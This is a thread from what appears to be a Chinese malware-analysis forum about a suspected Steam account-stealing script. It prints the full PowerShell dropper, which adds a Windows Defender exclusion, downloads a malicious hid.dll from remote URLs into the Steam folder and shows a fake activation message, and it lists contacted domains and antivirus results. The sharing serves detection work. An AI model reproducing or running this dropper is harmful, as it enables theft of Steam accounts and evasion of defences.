疑似Steam盗号脚本及其下载产物

僅此而已

密码infected
已测Windows Defender/EIS均未报毒
实体机验证在Steam目录下会多出一个hid.dll，打开Steam后会尝试访问以下地址

1. new-service和谐biliapi和谐net
   
2. steamruna和谐oss-cn-guangzhou和谐aliyuncs和谐com

复制代码

第一个地址浏览器访问时ESET弹出警告

祸兮福所倚

360kill小Amiss

偶偶偶114514

di:pua(dll)
深信服阻断可疑ps1

2156

avira

GDHJDSYDH

卡巴扫描miss

fever腾腾

毒霸 miss

DisaPDB

又是这种替换hid.dll文件实现假入库的

1. $localPath = Join-Path $env:LOCALAPPDATA "steam"
   
2. $steamRegPath = 'HKCU:\Software\Valve\Steam'
   
3. $steamPath = ""
   
4. 
   
5. function Remove-ItemIfExists($path) {
   
6.     if (Test-Path $path) {
   
7.         Remove-Item -Path $path -Force -ErrorAction SilentlyContinue
   
8.     }
   
9. }
   
10. 
    
11. function ForceStopProcess($processName) {
    
12.     Get-Process $processName -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
    
13.     Start-Sleep -Seconds 2
    
14. 
    
15.     if (Get-Process $processName -ErrorAction SilentlyContinue) {
    
16.         Start-Process cmd -ArgumentList "/c taskkill /f /im $processName.exe" -WindowStyle Hidden -ErrorAction SilentlyContinue
    
17.     }
    
18. }
    
19. 
    
20. function CheckAndPromptProcess($processName, $message) {
    
21.     while (Get-Process $processName -ErrorAction SilentlyContinue) {
    
22.         Write-Host $message -ForegroundColor Red
    
23.         Start-Sleep 1.5
    
24.     }
    
25. }
    
26. 
    
27. $filePathToDelete = Join-Path $env:USERPROFILE "get.ps1"
    
28. $desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "get.ps1"
    
29. Remove-ItemIfExists $filePathToDelete
    
30. Remove-ItemIfExists $desktopFilePathToDelete
    
31. 
    
32. # 确保结束steam.exe进程
    
33. ForceStopProcess "steam"
    
34. if (Get-Process "steam" -ErrorAction SilentlyContinue) {
    
35.     CheckAndPromptProcess "steam" "[请先退出 Steam 客户端]"
    
36. }
    
37. 
    
38. if (Test-Path $steamRegPath) {
    
39.     $properties = Get-ItemProperty -Path $steamRegPath -ErrorAction SilentlyContinue
    
40.     if ($properties -and 'SteamPath' -in $properties.PSObject.Properties.Name) {
    
41.         $steamPath = $properties.SteamPath
    
42.     }
    
43. }
    
44. 
    
45. $hidPath = Join-Path $steamPath "hid.dll"
    
46. $hidcPath = Join-Path $localPath "appdata.vdf"
    
47. Remove-ItemIfExists $hidPath
    
48. 
    
49. function PwStart() {
    
50.     CheckAndPromptProcess "360Tray*" "[请先退出360安全卫士]"
    
51.     CheckAndPromptProcess "360sd*" "[请先退出360杀毒]"
    
52. 
    
53.     try {
    
54.         if (!$steamPath) {
    
55.             return
    
56.         }
    
57. 
    
58.         if (!(Test-Path $localPath)) {
    
59.             New-Item $localPath -ItemType directory -Force -ErrorAction SilentlyContinue
    
60.         }
    
61. 
    
62.         $catchPath = Join-Path $env:LOCALAPPDATA "Microsoft\Tencent"
    
63.         Remove-ItemIfExists $catchPath
    
64. 
    
65.         try { Add-MpPreference -ExclusionPath $hidPath -ErrorAction SilentlyContinue } catch {}
    
66. 
    
67.         foreach ($file in @("version.dll", "user32.dll")) {
    
68.             $filePath = Join-Path $steamPath $file
    
69.             Remove-ItemIfExists $filePath
    
70.         }
    
71. 
    
72.         $downloadData = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_a29b7e99f734fe5de04592ae7a85b8cc_469401708849154509.pak"
    
73.         $downloadLink = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_e6d9707966d13169268e57c67783a8fd_469401708839251548.pak"
    
74. 
    
75.         Invoke-RestMethod -Uri $downloadLink -OutFile $hidPath -ErrorAction SilentlyContinue
    
76.         Invoke-RestMethod -Uri $downloadData -OutFile $hidcPath -ErrorAction SilentlyContinue
    
77. 
    
78.         $steamExePath = Join-Path $steamPath "steam.exe"
    
79.         Start-Process $steamExePath
    
80.         Start-Process "steam://"
    
81. 
    
82.         Write-Host "[连接 Steam 激活服务成功，请重新登录 Steam 来激活]" -ForegroundColor Green
    
83.         Start-Sleep 5
    
84. 
    
85.     } catch {
    
86.     }
    
87. }
    
88. 
    
89. 
    

复制代码

PwStart检查并提示用户关闭360安全卫士(360Tray*)和360杀毒(360sd*)。 若$steamPath未设置（即未找到Steam安装路径），则返回，不进行后续操作。 创建$localPath目录（%LOCALAPPDATA%\steam）。 删除%LOCALAPPDATA%\Microsoft\Tencent目录。尝试将$hidPath添加到Windows Defender的排除列表。 除Steam安装路径下的version.dll和user32.dll文件。 从两个远程URL下载文件到$hidPath和$hidcPath。启动Steam客户端（steam.exe）及Steam URL协议（steam://）。输出提示信息，告知用户已成功连接Steam激活服务，建议重新登录以激活，并暂停5秒。

hhhq316

安天

放行后

LeeHS

crowdstrike 解压杀

路人—未注册

解压杀